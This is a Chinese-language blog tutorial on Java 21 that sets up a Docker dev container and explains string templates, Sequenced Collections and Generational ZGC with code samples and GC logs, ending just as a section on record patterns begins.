转眼间,距离 Java 21 发布已经快 3 个月了,网上相关的文章也已经铺天盖地,为了不使自己落伍,于是便打算花点时间学习一下。尽管在坊间一直流传着 版本任你发,我用 Java 8 这样的说法,但是作为一线 Java 开发人员,最好还是紧跟大势,未雨绸缪,有备无患。而且最重要的是,随着 Spring Boot 2.7.18 的发布,2.x 版本将不再提供开源支持,而 3.x 不支持 Java 8,最低也得 Java 17,所以仍然相信这种说法的人除非不使用 Spring Boot,要么不升级 Spring Boot,否则学习 Java 新版本都是势在必行。

准备开发环境

我这里使用 Docker Desktop 的 Dev Environments 作为我们的实验环境。Dev Environments 是 Docker Desktop 从 3.5.0 版本开始引入的一项新特性,目前还处于 Beta 阶段,它通过配置文件的方式方便开发人员创建容器化的、可复用的开发环境,结合 VSCode 的 Dev Containers 插件 以及它丰富的插件生态可以帮助开发人员迅速展开编码工作,而不用疲于开发环境的折腾。

dev-environments.png

Dev Environments 的界面如上图所示,官方提供了两个示例供参考,一个是单容器服务,一个是多容器服务:

我们可以直接从 Git 仓库地址来创建开发环境,就如官方提供的示例一样,也可以从本地目录创建开发环境,默认情况下,Dev Environments 会自动检测项目的语言和依赖,不过自动检测的功能并不是那么准确,比如我们的目录是一个 Java 项目,Dev Environments 会使用 docker/dev-environments-java 镜像来创建开发环境,而这个镜像使用的是 Java 11,并不是我们想要的。

如果自动检测失败,就会使用 docker/dev-environments-default 这个通用镜像来创建开发环境。

所以我们还得手动指定镜像,总的来说,就是在项目根目录下创建一个 compose-dev.yaml 配置文件,内容如下:

services:
  app:
    entrypoint:
    - sleep
    - infinity
    image: openjdk:21-jdk
    init: true
    volumes:
    - type: bind
      source: /var/run/docker.sock
      target: /var/run/docker.sock

然后再使用 Dev Environments 打开该目录,程序会自动拉取该镜像并创建开发环境:

dev-environments-created.png

开发环境创建成功后,我们就可以使用 VSCode 打开了:

dev-environments-done.png

使用 VSCode 打开开发环境,实际上就是使用 VSCode 的 Dev Containers 插件 连接到容器里面,打开终端,敲入 java -version 命令:

bash-4.4# java -version
openjdk version "21" 2023-09-19
OpenJDK Runtime Environment (build 21+35-2513)
OpenJDK 64-Bit Server VM (build 21+35-2513, mixed mode, sharing)

由于这是一个崭新的环境,我们还要为 VSCode 安装一些开发所需的插件,比如 Extension Pack for Java

vscode-dev-env.png

至此我们就得到了一个非常干净纯粹的 Java 21 开发环境。

接下来,我们就在这个全新的开发环境中一览 Java 21 的全部特性,包括下面 15 个 JEP:

由于内容较多,我将分成三个篇幅来介绍,这是第一篇,主要介绍前 5 个特性。

字符串模板(预览版本)

字符串模板是很多语言都具备的特性,它允许在字符串中使用占位符来动态替换变量的值,这种构建字符串的方式比传统的字符串拼接或格式化更为简洁和直观。相信学过 JavaScript 的同学对下面这个 Template literals 的语法不陌生:

const name = 'zhangsan'
const age = 18
const message = `My name is ${name}, I'm ${age} years old.`
console.log(message)

如上所示,JavaScript 通过反引号 ` 来定义字符串模板,而 Java 21 则引入了一个叫做 模版表达式(Template expressions) 的概念来定义字符串模板。下面是一个简单示例:

String name = "zhangsan";
int age = 18;
String message = STR."My name is \{name}, I'm \{age} years old.";
System.out.println(message);

看上去和 JavaScript 的 Template literals 非常相似,但还是有一些区别的,模版表达式包含三个部分:

  • 首先是一个 模版处理器(template processor):这里使用的是 STR 模板处理器,也可以是 RAWFMT 等,甚至可以自定义;
  • 中间是一个点号(.);
  • 最后跟着一个字符串模板,模板中使用 \{name}\{age} 这样的占位符语法,这被称为 内嵌表达式(embedded expression)

当模版表达式运行的时候,模版处理器会将模版内容与内嵌表达式的值组合起来,生成结果。

不过,当我们执行上述代码时,很可能会报 Invalid escape sequence (valid ones are \b \t \n \f \r \" \' \\ ) 这样的错:

preview-feature-error.png

这是因为字符串模板还只是一个预览特性,根据 JEP 12: Preview Features,我们需要添加 --enable-preview 参数开启预览特性,使用 javac 编译时,还需要添加 --release 参数。使用下面的命令将 .java 文件编译成 .class 文件:

$ javac --enable-preview --release 21 StringTemplates.java 
Note: StringTemplates.java uses preview features of Java SE 21.
Note: Recompile with -Xlint:preview for details.

再使用下面的命令运行 .class 文件:

$ java --enable-preview StringTemplates
My name is zhangsan, I'm 18 years old.

从 Java 11 开始,我们可以直接运行 .java 文件了,参见 JEP 330,所以上面的两个命令也可以省略成一个命令:

$ java --enable-preview --source 21 StringTemplates.java

STR 模版处理器

STR 模板处理器中的内嵌表达式还有很多其他写法,比如执行数学运算:

int x = 1, y = 2;
String s1 = STR."\{x} + \{y} = \{x + y}";

调用方法:

String s2 = STR."Java version is \{getVersion()}";

访问字段:

Person p = new Person(name, age);
String s3 = STR."My name is \{p.name}, I'm \{p.age} years old.";

内嵌表达式中可以直接使用双引号,不用 \" 转义:

String s4 = STR."I'm \{age >= 18 ? "an adult" : "a child"}.";

内嵌表达式中可以编写注释和换行:

String s5 = STR."I'm \{
    // check the age
    age >= 18 ? "an adult" : "a child"
}.";

多行模板表达式

在 Java 13 的 JEP 355 中首次引入了 文本块(Text Blocks) 特性,并经过 Java 14 的 JEP 368 和 Java 15 的 JEP 378 两个版本的迭代,使得该特性正式可用,这个特性可以让我们在 Java 代码中愉快地使用多行字符串。在使用文本块之前,定义一个 JSON 格式的字符串可能会写出像下面这样无法直视的代码来:

String json1 = "{\n" +
               "  \"name\": \"zhangsan\",\n" +
               "  \"age\": 18\n" +
               "}\n";

但是在使用文本块之后,这样的代码就变得非常清爽:

String json2 = """
               {
                 "name": "zhangsan",
                 "age": 18
               }
               """;

文本块以三个双引号 """ 开始,同样以三个双引号结束,看上去和 Python 的多行字符串类似,不过 Java 的文本块会自动处理换行和缩进,使用起来更方便。上面的文本块在 Java 中输出如下:

{
  "name": "zhangsan",
  "age": 18
}

注意开头没有换行,结尾有一个换行。而在 Python 中输出如下:


               {
                 "name": "zhangsan",
                 "age": 18
               }

不仅开头和结尾都有换行,而且每一行有很多缩进,这里可以看出 Python 的处理很简单,它直接把 """ 之间的内容原样输出了,而 Java 是根据最后一个 """ 和内容之间的相对缩进来决定输出。很显然,我们更喜欢 Java 这样的输出结果,如果希望 Python 有同样的输出结果,就得这样写:

json = """{
  "name": "zhangsan",
  "age": 18
}
"""

这在代码的可读性上就比不上 Java 了,这里不得不感叹 Java 的设计,在细节的处理上做的确实不错。

言归正传,说回字符串模板这个特性,我们也可以在文本块中使用,如下:

String json3 = STR."""
               {
                 "name": "\{name}",
                 "age": \{age}
               }
               """;

FMT 模板处理器

FMT 是 Java 21 内置的另一个模版处理器,它不仅有 STR 模版处理器的插值功能,还可以对输出进行格式化操作。格式说明符(format specifiers) 放在嵌入表达式的左侧,如下所示:

%7.2f\{price}

支持的格式说明符参见 java.util.Formatter 文档。

不过在我的环境里编译时,会报错 cannot find symbol: variable FMT,就算是把镜像更换成 openjdk:22-jdk 也是一样的错,不清楚是为什么。

有序集合

Java 集合框架(Java Collections Framework,JCF) 为集合的表示和操作提供了一套统一的体系架构,让开发人员可以使用标准的接口来组织和操作集合,而不必关心底层的数据结构或实现方式。JCF 的接口大致可以分为 CollectionMap 两组,一共 15 个:

jcf-interfaces.png

在过去的 20 个版本里,这些接口已经被证明非常有用,在日常开发中发挥了重要的作用。那么 Java 21 为什么又要增加一个新的 有序集合(Sequenced Collections) 接口呢?

不一致的顺序操作

这是因为这些接口在处理集合顺序问题时很不一致,导致了无谓的复杂性,比如要获取集合的第一个元素:

获取第一个元素
Listlist.get(0)
Dequedeque.getFirst()
SortedSetsortedSet.first()
LinkedHashSetlinkedHashSet.iterator().next()

可以看到,不同的集合有着不同的实现。再比如获取集合的最后一个元素:

获取最后一个元素
Listlist.get(list.size() - 1)
Dequedeque.getLast()
SortedSetsortedSet.last()
LinkedHashSet-

List 的实现显得非常笨重,而 LinkedHashSet 根本没有提供直接的方法,只能将整个集合遍历一遍才能获取最后一个元素。

除了获取集合的第一个元素和最后一个元素,对集合进行逆序遍历也是各不相同,比如 NavigableSet 提供了 descendingSet() 方法来逆序遍历:

for (var e : navSet.descendingSet()) {
    process(e);
}

Deque 通过 descendingIterator() 来逆序遍历:

for (var it = deque.descendingIterator(); it.hasNext();) {
    var e = it.next();
    process(e);
}

List 则是通过 listIterator() 来逆序遍历:

for (var it = list.listIterator(list.size()); it.hasPrevious();) {
    var e = it.previous();
    process(e);
}

由此可见,与顺序相关的处理方法散落在 JCF 的不同地方,使用起来极为不便。于是,Java 21 为我们提供了一个描述和操作有序集合的新接口,这个接口定义了一些与顺序相关的方法,将这些散落在各个地方的逻辑集中起来,让我们更方便地处理有序集合。

统一的有序集合接口

与顺序相关的操作主要包括三个方面:

  • 获取集合的第一个或最后一个元素
  • 向集合的最前面或最后面插入或删除元素
  • 按照逆序遍历集合

为此,Java 21 新增了三个有序接口:SequencedCollectionSequencedSetSequencedMap,他们的定义如下:

interface SequencedCollection<E> extends Collection<E> {
    SequencedCollection<E> reversed();
    void addFirst(E);
    void addLast(E);
    E getFirst();
    E getLast();
    E removeFirst();
    E removeLast();
}

interface SequencedSet<E> extends Set<E>, SequencedCollection<E> {
    SequencedSet<E> reversed();
}

interface SequencedMap<K,V> extends Map<K,V> {
    SequencedMap<K,V> reversed();
    SequencedSet<K> sequencedKeySet();
    SequencedCollection<V> sequencedValues();
    SequencedSet<Entry<K,V>> sequencedEntrySet();
    V putFirst(K, V);
    V putLast(K, V);
    Entry<K, V> firstEntry();
    Entry<K, V> lastEntry();
    Entry<K, V> pollFirstEntry();
    Entry<K, V> pollLastEntry();
}

他们在 JCF 大家庭中的位置如下图所示:

sequenced-collection.png

有了这些接口,对于所有的有序集合,我们都可以通过下面的方法来获取第一个和最后一个元素:

System.out.println("The first element is: " + list.getFirst());
System.out.println("The last element is: " + list.getLast());

逆序遍历也变得格外简单:

list.reversed().forEach(it -> System.out.println(it));

分代式 ZGC

想要搞清楚 Java 21 中的 分代式 ZGC(Generational ZGC) 这个特性,我们需要先搞清楚什么是 ZGC。

ZGC 简介

ZGC(The Z Garbage Collector) 是由 Oracle 开发的一款垃圾回收器,最初在 Java 11 中以实验性功能推出,并经过几个版本的迭代,最终在 Java 15 中被宣布为 Production Ready,相比于其他的垃圾回收器,ZGC 更适用于大内存、低延迟服务的内存管理和回收。下图展示的是不同的垃圾回收器所专注的目标也各不相同:

gc-landscape.png

低延迟服务的最大敌人是 GC 停顿,所谓 GC 停顿指的是垃圾回收期间的 STW(Stop The World),当 STW 时,所有的应用线程全部暂停,等待 GC 结束后才能继续运行。要想实现低延迟,就要想办法减少 GC 的停顿时间,根据 JEP 333 的介绍,最初 ZGC 的目标是:

  • GC 停顿时间不超过 10ms;
  • 支持处理小到几百 MB,大到 TB 量级的堆;
  • 相对于使用 G1,应用吞吐量的降低不超过 15%;

经过几年的发展,目前 ZGC 的最大停顿时间已经优化到了不超过 1 毫秒(Sub-millisecond,亚毫秒级),且停顿时间不会随着堆的增大而增加,甚至不会随着 root-set 或 live-set 的增大而增加(通过 JEP 376 Concurrent Thread-Stack Processing 实现),支持处理最小 8MB,最大 16TB 的堆:

zgc-goals.png

ZGC 之所以能实现这么快的速度,不仅是因为它在算法上做了大量的优化和改进,而且还革命性的使用了大量的创新技术,包括:

  • Concurrent:全链路并发,ZGC 在整个垃圾回收阶段几乎全部实现了并发;
  • Region-based:和 G1 类似,ZGC 是一种基于区域的垃圾回收器;
  • Compacting:垃圾回收的过程中,ZGC 会产生内存碎片,所以要进行内存整理;
  • NUMA-aware:NUMA 全称 Non-Uniform Memory Access(非一致内存访问),是一种多内存访问技术,使用 NUMA,CPU 会访问离它最近的内存,提升读写效率;
  • Using colored pointers:染色指针是一种将数据存放在指针里的技术,ZGC 通过染色指针来标记对象,以及实现对象的多重视图;
  • Using load barriers:当应用程序从堆中读取对象引用时,JIT 会向应用代码中注入一小段代码,这就是读屏障;通过读屏障操作,不仅可以让应用线程帮助完成对象的标记(mark),而且当对象地址发生变化时,还能自动实现对象转移(relocate)和重映射(remap);

关于这些技术点,网上的参考资料有很多,有兴趣的同学可以通过本文的更多部分进一步学习,其中最有意思的莫过于 染色指针读屏障,下面重点介绍这两项。

染色指针

在 64 位的操作系统中,一个指针有 64 位,但是由于内存大小限制,其实有很多高阶位是用不上的,所以我们可以在指针的高阶位中嵌入一些元数据,这种在指针中存储元数据的技术就叫做 染色指针(Colored Pointers)。染色指针是 ZGC 的核心设计之一,以前的垃圾回收器都是使用对象头来标记对象,而 ZGC 则通过染色指针来标记对象。ZGC 将一个 64 位的指针划分成三个部分:

colored-pointers.png

其中,前面的 16 位暂时没用,预留给以后使用;后面的 44 位表示对象的地址,所以 ZGC 最大可以支持 2^44=16T 内存;中间的 4 位即染色位,分别是:

  • Finalizable:标识这个对象只能通过 Finalizer 才能访问;
  • Remapped:标识这个对象是否在转移集(Relocation Set)中;
  • Marked1:用于标记可到达的对象(活跃对象);
  • Marked0:用于标记可到达的对象(活跃对象);

此外,染色指针不仅用来标记对象,还可以实现对象地址的多重视图,上述 Marked0、Marked1、Remapped 三个染色位其实代表了三种地址视图,分别对应三个虚拟地址,这三个虚拟地址指向同一个物理地址,并且在同一时间,三个虚拟地址有且只有一个有效,整个视图映射关系如下:

zgc-mmap.png

这三个地址视图的切换是由垃圾回收的不同阶段触发的:

  • 初始化阶段:程序启动时,ZGC 完成初始化,整个堆内存空间的地址视图被设置为 Remapped;
  • 标记阶段:当进入标记阶段时,视图转变为 Marked0 或者 Marked1;
  • 转移阶段:从标记阶段结束进入转移阶段时,视图再次被设置为 Remapped;

读屏障

读屏障(Load Barriers) 是 ZGC 的另一项核心技术,当应用程序从堆中读取对象引用时,JIT 会向应用代码中注入一小段代码:

load-barriers.png

在上面的代码示例中,只有第一行是从堆中读取对象引用,所以只会在第一行后面注入代码,注入的代码类似于这样:

String n = person.name; // Loading an object reference from heap
if (n & bad_bit_mask) {
    slow_path(register_for(n), address_of(person.name));
}

这行代码虽然简单,但是用途却很大,在垃圾回收的不同阶段,触发的逻辑也有所不同:在标记阶段,通过读屏障操作,可以让应用线程帮助 GC 线程一起完成对象的标记或重映射;在转移阶段,如果对象地址发生变化,还能自动实现对象转移。

ZGC 工作流程

整个 ZGC 可以划分成下面六个阶段:

zgc-phases.png

其中有三个是 STW 阶段,尽管如此,但是 ZGC 对 STW 的停顿时间有着严格的要求,一般不会超过 1 毫秒。这六个阶段的前三个可以统称为 标记(Mark)阶段

  • Pause Mark Start - 标记开始阶段,将地址视图被设置成 Marked0 或 Marked1(交替设置);这个阶段会 STW,它只标记 GC Roots 直接可达的对象,GC Roots 类似于局部变量,通过它可以访问堆上其他对象,这样的对象不会太多,所以 STW 时间很短;
  • Concurrent Mark/Remap - 并发标记阶段,GC 线程和应用线程是并发执行的,在第一步的基础上,继续往下标记存活的对象;另外,这个阶段还会对上一个 GC 周期留下来的失效指针进行重映射修复;
  • Pause Mark End - 标记结束阶段,由于并发标记阶段应用线程还在运行,所以可能会修改对象的引用,导致漏标,这个阶段会标记这些漏标的对象;

ZGC 的后三个阶段统称为 转移(Relocation)阶段(也叫重定位阶段):

  • Concurrent Prepare for Relocate - 为转移阶段做准备,比如筛选所有可以被回收的页面,将垃圾比较多的页面作为接下来转移候选集(EC);
  • Pause Relocate Start - 转移开始阶段,将地址视图从 Marked0 或者 Marked1 调整为 Remapped,从 GC Roots 出发,遍历根对象的直接引用的对象,对这些对象进行转移;
  • Concurrent Relocate - 并发转移阶段,将之前选中的转移集中存活的对象移到新的页面,转移完成的页面即可被回收掉,并发转移完成之后整个 ZGC 周期完成。注意这里只转移了对象,并没有对失效指针进行重映射,ZGC 通过转发表存储旧地址到新地址的映射,如果这个阶段应用线程访问这些失效指针,会触发读屏障机制自动修复,对于没有访问到的失效指针,要到下一个 GC 周期的并发标记阶段才会被修复。

为什么要分代?

在 ZGC 面世之前,Java 内置的所有垃圾回收器都实现了分代回收(G1 是逻辑分代):

垃圾回收器(别名)用法说明
Serial GC、Serial Copying-XX:+UseSerialGC串行,用于年轻代,使用复制算法
Serial Old、MSC-XX:+UseSerialOldGC串行,用于老年代,使用标记-整理算法
ParNew GC-XX:+UseParNewGCSerial GC 的并行版本,用于年轻代,使用复制算法
Parallel GC、Parallel Scavenge-XX:+UseParallelGC并行,用于年轻代,使用复制算法
Parallel Old、Parallel Compacting-XX:+UseParallelOldGC并行,用于老年代,使用标记-整理算法
CMS、Concurrent Mark Sweep-XX:+UseConcMarkSweepGC并发,用于老年代,使用标记-清除算法
G1、Garbage First-XX:+UseG1GC并发,既可以用于年轻代,也可以用于老年代,使用复制 + 标记-整理算法,用来取代 CMS

这些分代回收器之间可以搭配使用,周志明老师在《深入理解 Java 虚拟机》这本书中总结了各种回收器之间的关系:

gc-pairs.png

其中,Serial + CMS 和 ParNew + Serial Old 这两个组件在 Java 9 之后已经被取消,而 CMS 与 Serial Old 之间的连线表示 CMS 在并发失败的时候(Concurrent Mode Failure)会切换成 Serial Old 备用方案。

分代的基本思想源自于 弱分代假说(Weak Generational Hypothesis),这个假说认为绝大部分对象都是朝生夕死的,也就是说年轻对象往往很快死去,而老对象往往会保留下来。根据这个假说,JVM 将内存区域划分为 年轻代(Young Generation)老年代(Old Generation),新生代又进一步划分为 伊甸园区(Eden)第一幸存区(S0)第二幸存区(S1)

伊甸园区用来分配新创建的对象,如果没有足够的空间,就会触发一次 年轻代 GC(Young GC,Minor GC) 来释放内存空间,这里一般使用 标记-复制(Mark-Copy) 算法,将存活的对象标记下来,然后复制到一个幸存区中;年轻代的内存空间一般较小,所以可以更频繁地触发 GC,清理掉那些朝生夕死的对象,从而提高应用程序的性能;如果 GC 后伊甸园区还没有足够的空间存放新创建的对象,或者幸存区中某个对象的存活时间超过一定的阈值,这时就会将对象分配到老年代,如果老年代的空间也满了,就会触发一次 老年代 GC(Old GC,Full GC);老年代的内存空间要大的多,而且其中的对象大部分是存活的,GC 发生的频率要小很多,所以不再使用标记-复制算法,而是采用移动对象的方式来实现内存碎片的整理。

但是在上面的 ZGC 的工作流程中,我们却没有看到分代的影子,这也就意味着每次 ZGC 都是对整个堆空间进行扫描,尽管 ZGC 的 STW 时间已经被优化到不到 1ms,但是其他几个阶段是和应用线程一起执行的,这势必会影响到应用程序的吞吐量。让 ZGC 支持分代是一项巨大的工程,开发团队足足花了三年时间才让我们有幸在 Java 21 中体验到这一令人激动的特性。

除了 ZGC,Java 11 之后还引入了一些新的垃圾回收器:

垃圾回收器用法说明
ZGC-XX:+UseZGC低延迟 GC,from JDK 11
Epsilon GC-XX:+UseEpsilonGCNo-op GC,什么都不做,用于测试,from JDK 11
Shenandoah-XX:+UseShenandoahGCCPU 密集型 GC,from JDK 12

ZGC 实践

使用 -XX:+PrintCommandLineFlags,可以打印出 Java 的默认命令行参数:

$ java -XX:+PrintCommandLineFlags -version
-XX:ConcGCThreads=1 -XX:G1ConcRefinementThreads=4 -XX:GCDrainStackTargetSize=64 -XX:InitialHeapSize=128639872 -XX:MarkStackSize=4194304 -XX:MaxHeapSize=2058237952 -XX:MinHeapSize=6815736 -XX:+PrintCommandLineFlags -XX:ReservedCodeCacheSize=251658240 -XX:+SegmentedCodeCache -XX:+UseCompressedOops -XX:+UseG1GC 
openjdk version "21" 2023-09-19
OpenJDK Runtime Environment (build 21+35-2513)
OpenJDK 64-Bit Server VM (build 21+35-2513, mixed mode, sharing)

从上面的结果可以看出,Java 21 默认使用的仍然是 G1 垃圾回收器,它从 Java 9 就开始做为默认垃圾回收器了。

注意:Java 8 中默认的垃圾回收器是 Parallel GC。

如果想开启 ZGC,我们需要加上 -XX:+UseZGC 参数:

$ java -XX:+UseZGC -Xmx100M -Xlog:gc ZgcTest.java

其中 -Xlog:gc 参数表示打印出 GC 过程中的日志(就是 Java 8 的 -XX:+PrintGC 参数),输出结果如下:

[0.157s][info][gc] Using The Z Garbage Collector
[0.420s][info][gc] GC(0) Garbage Collection (Warmup) 14M(14%)->12M(12%)
[0.472s][info][gc] GC(1) Garbage Collection (System.gc()) 18M(18%)->8M(8%)

也可以使用 -Xlog:gc* 参数打印出 GC 过程中的详细日志(就是 Java 8 的 -XX+PrintGCDetails 参数),输出结果如下:

$ java -XX:+UseZGC -Xmx100M -Xlog:gc* ZgcTest.java
[0.010s][info][gc,init] Initializing The Z Garbage Collector
[0.011s][info][gc,init] Version: 21+35-2513 (release)
[0.011s][info][gc,init] Using legacy single-generation mode
[0.011s][info][gc,init] Probing address space for the highest valid bit: 47
[0.011s][info][gc,init] NUMA Support: Disabled
[0.011s][info][gc,init] CPUs: 4 total, 4 available
[0.011s][info][gc,init] Memory: 7851M
[0.011s][info][gc,init] Large Page Support: Disabled
[0.011s][info][gc,init] GC Workers: 1 (dynamic)
[0.011s][info][gc,init] Address Space Type: Contiguous/Unrestricted/Complete
[0.011s][info][gc,init] Address Space Size: 1600M x 3 = 4800M
[0.011s][info][gc,init] Heap Backing File: /memfd:java_heap
[0.011s][info][gc,init] Heap Backing Filesystem: tmpfs (0x1021994)
[0.012s][info][gc,init] Min Capacity: 8M
[0.012s][info][gc,init] Initial Capacity: 100M
[0.012s][info][gc,init] Max Capacity: 100M
[0.012s][info][gc,init] Medium Page Size: N/A
[0.012s][info][gc,init] Pre-touch: Disabled
[0.012s][info][gc,init] Available space on backing filesystem: N/A
[0.014s][info][gc,init] Uncommit: Enabled
[0.014s][info][gc,init] Uncommit Delay: 300s
[0.134s][info][gc,init] Runtime Workers: 1
[0.134s][info][gc     ] Using The Z Garbage Collector
[0.149s][info][gc,metaspace] CDS archive(s) mapped at: [0x0000006800000000-0x0000006800cb0000-0x0000006800cb0000), size 13303808, SharedBaseAddress: 0x0000006800000000, ArchiveRelocationMode: 1.
[0.149s][info][gc,metaspace] Compressed class space mapped at: 0x0000006801000000-0x0000006841000000, reserved size: 1073741824
[0.149s][info][gc,metaspace] Narrow klass base: 0x0000006800000000, Narrow klass shift: 0, Narrow klass range: 0x100000000
[0.357s][info][gc,start    ] GC(0) Garbage Collection (Warmup)
[0.357s][info][gc,task     ] GC(0) Using 1 workers
[0.357s][info][gc,phases   ] GC(0) Pause Mark Start 0.007ms
[0.366s][info][gc,phases   ] GC(0) Concurrent Mark 8.442ms
[0.366s][info][gc,phases   ] GC(0) Pause Mark End 0.005ms
[0.366s][info][gc,phases   ] GC(0) Concurrent Mark Free 0.000ms
[0.367s][info][gc,phases   ] GC(0) Concurrent Process Non-Strong References 1.092ms
[0.367s][info][gc,phases   ] GC(0) Concurrent Reset Relocation Set 0.000ms
[0.373s][info][gc,phases   ] GC(0) Concurrent Select Relocation Set 5.587ms
[0.373s][info][gc,phases   ] GC(0) Pause Relocate Start 0.003ms
[0.375s][info][gc,phases   ] GC(0) Concurrent Relocate 2.239ms
[0.375s][info][gc,load     ] GC(0) Load: 0.65/0.79/0.63
[0.375s][info][gc,mmu      ] GC(0) MMU: 2ms/99.7%, 5ms/99.9%, 10ms/99.9%, 20ms/99.9%, 50ms/100.0%, 100ms/100.0%
[0.375s][info][gc,marking  ] GC(0) Mark: 1 stripe(s), 2 proactive flush(es), 1 terminate flush(es), 0 completion(s), 0 continuation(s) 
[0.375s][info][gc,marking  ] GC(0) Mark Stack Usage: 32M
[0.375s][info][gc,nmethod  ] GC(0) NMethods: 889 registered, 90 unregistered
[0.375s][info][gc,metaspace] GC(0) Metaspace: 8M used, 8M committed, 1088M reserved
[0.375s][info][gc,ref      ] GC(0) Soft: 142 encountered, 0 discovered, 0 enqueued
[0.375s][info][gc,ref      ] GC(0) Weak: 747 encountered, 602 discovered, 224 enqueued
[0.375s][info][gc,ref      ] GC(0) Final: 0 encountered, 0 discovered, 0 enqueued
[0.375s][info][gc,ref      ] GC(0) Phantom: 146 encountered, 144 discovered, 143 enqueued
[0.375s][info][gc,reloc    ] GC(0) Small Pages: 7 / 14M, Empty: 0M, Relocated: 3M, In-Place: 0
[0.375s][info][gc,reloc    ] GC(0) Large Pages: 1 / 2M, Empty: 0M, Relocated: 0M, In-Place: 0
[0.375s][info][gc,reloc    ] GC(0) Forwarding Usage: 1M
[0.375s][info][gc,heap     ] GC(0) Min Capacity: 8M(8%)
[0.375s][info][gc,heap     ] GC(0) Max Capacity: 100M(100%)
[0.375s][info][gc,heap     ] GC(0) Soft Max Capacity: 100M(100%)
[0.375s][info][gc,heap     ] GC(0)                Mark Start          Mark End        Relocate Start      Relocate End           High               Low         
[0.375s][info][gc,heap     ] GC(0)  Capacity:      100M (100%)        100M (100%)        100M (100%)        100M (100%)        100M (100%)        100M (100%)   
[0.375s][info][gc,heap     ] GC(0)      Free:       84M (84%)          82M (82%)          82M (82%)          88M (88%)          88M (88%)          78M (78%)    
[0.375s][info][gc,heap     ] GC(0)      Used:       16M (16%)          18M (18%)          18M (18%)          12M (12%)          22M (22%)          12M (12%)    
[0.375s][info][gc,heap     ] GC(0)      Live:         -                 6M (6%)            6M (6%)            6M (6%)             -                  -          
[0.375s][info][gc,heap     ] GC(0) Allocated:         -                 2M (2%)            2M (2%)            3M (4%)             -                  -          
[0.375s][info][gc,heap     ] GC(0)   Garbage:         -                 9M (10%)           9M (10%)           1M (2%)             -                  -          
[0.375s][info][gc,heap     ] GC(0) Reclaimed:         -                  -                 0M (0%)            7M (8%)             -                  -          
[0.375s][info][gc          ] GC(0) Garbage Collection (Warmup) 16M(16%)->12M(12%)
[0.403s][info][gc,start    ] GC(1) Garbage Collection (System.gc())
[0.403s][info][gc,task     ] GC(1) Using 1 workers
[0.403s][info][gc,phases   ] GC(1) Pause Mark Start 0.006ms
[0.410s][info][gc,phases   ] GC(1) Concurrent Mark 7.316ms
[0.410s][info][gc,phases   ] GC(1) Pause Mark End 0.006ms
[0.410s][info][gc,phases   ] GC(1) Concurrent Mark Free 0.001ms
[0.412s][info][gc,phases   ] GC(1) Concurrent Process Non-Strong References 1.621ms
[0.412s][info][gc,phases   ] GC(1) Concurrent Reset Relocation Set 0.001ms
[0.414s][info][gc,phases   ] GC(1) Concurrent Select Relocation Set 2.436ms
[0.414s][info][gc,phases   ] GC(1) Pause Relocate Start 0.003ms
[0.415s][info][gc,phases   ] GC(1) Concurrent Relocate 0.865ms
[0.415s][info][gc,load     ] GC(1) Load: 0.65/0.79/0.63
[0.415s][info][gc,mmu      ] GC(1) MMU: 2ms/99.7%, 5ms/99.8%, 10ms/99.9%, 20ms/99.9%, 50ms/100.0%, 100ms/100.0%
[0.415s][info][gc,marking  ] GC(1) Mark: 1 stripe(s), 2 proactive flush(es), 1 terminate flush(es), 0 completion(s), 0 continuation(s) 
[0.415s][info][gc,marking  ] GC(1) Mark Stack Usage: 32M
[0.415s][info][gc,nmethod  ] GC(1) NMethods: 983 registered, 129 unregistered
[0.415s][info][gc,metaspace] GC(1) Metaspace: 9M used, 9M committed, 1088M reserved
[0.415s][info][gc,ref      ] GC(1) Soft: 155 encountered, 0 discovered, 0 enqueued
[0.415s][info][gc,ref      ] GC(1) Weak: 729 encountered, 580 discovered, 58 enqueued
[0.415s][info][gc,ref      ] GC(1) Final: 0 encountered, 0 discovered, 0 enqueued
[0.415s][info][gc,ref      ] GC(1) Phantom: 49 encountered, 47 discovered, 46 enqueued
[0.415s][info][gc,reloc    ] GC(1) Small Pages: 6 / 12M, Empty: 0M, Relocated: 1M, In-Place: 0
[0.415s][info][gc,reloc    ] GC(1) Large Pages: 2 / 4M, Empty: 2M, Relocated: 0M, In-Place: 0
[0.415s][info][gc,reloc    ] GC(1) Forwarding Usage: 0M
[0.415s][info][gc,heap     ] GC(1) Min Capacity: 8M(8%)
[0.415s][info][gc,heap     ] GC(1) Max Capacity: 100M(100%)
[0.415s][info][gc,heap     ] GC(1) Soft Max Capacity: 100M(100%)
[0.415s][info][gc,heap     ] GC(1)                Mark Start          Mark End        Relocate Start      Relocate End           High               Low         
[0.415s][info][gc,heap     ] GC(1)  Capacity:      100M (100%)        100M (100%)        100M (100%)        100M (100%)        100M (100%)        100M (100%)   
[0.415s][info][gc,heap     ] GC(1)      Free:       84M (84%)          84M (84%)          84M (84%)          92M (92%)          92M (92%)          82M (82%)    
[0.415s][info][gc,heap     ] GC(1)      Used:       16M (16%)          16M (16%)          16M (16%)           8M (8%)           18M (18%)           8M (8%)     
[0.415s][info][gc,heap     ] GC(1)      Live:         -                 4M (5%)            4M (5%)            4M (5%)             -                  -          
[0.415s][info][gc,heap     ] GC(1) Allocated:         -                 0M (0%)            2M (2%)            2M (2%)             -                  -          
[0.415s][info][gc,heap     ] GC(1)   Garbage:         -                11M (11%)           9M (9%)            1M (1%)             -                  -          
[0.415s][info][gc,heap     ] GC(1) Reclaimed:         -                  -                 2M (2%)           10M (10%)            -                  -          
[0.415s][info][gc          ] GC(1) Garbage Collection (System.gc()) 16M(16%)->8M(8%)
[0.416s][info][gc,heap,exit] Heap
[0.416s][info][gc,heap,exit]  ZHeap           used 8M, capacity 100M, max capacity 100M
[0.416s][info][gc,heap,exit]  Metaspace       used 9379K, committed 9600K, reserved 1114112K
[0.416s][info][gc,heap,exit]   class space    used 1083K, committed 1216K, reserved 1048576K

从日志中可以看到 ZGC 的整个过程。默认情况下并没有开启分代式 ZGC,如果想开启分代式 ZGC,我们还需要加上 -XX:+ZGenerational 参数:

$ java -XX:+UseZGC -XX:+ZGenerational -Xmx100M -Xlog:gc* ZgcTest.java

这个输出比较多,此处就省略了,从输出中可以看到不同分代的回收情况。关于 ZGC,还有很多微调参数,详细内容可参考 ZGC 的官方文档

记录模式

记录模式(Record Patterns) 是对 记录类(Records) 这个特性的延伸,所以,我们先大致了解下什么是记录类,然后再来看看什么是记录模式。

什么是记录类(Records)?

记录类早在 Java 14 就已经引入了,它类似于 Tuple,提供了一种更简洁、更紧凑的方式来表示不可变数据,记录类经过三个版本的迭代(JEP 359JEP 384JEP 395),最终在 Java 16 中发布了正式版本。

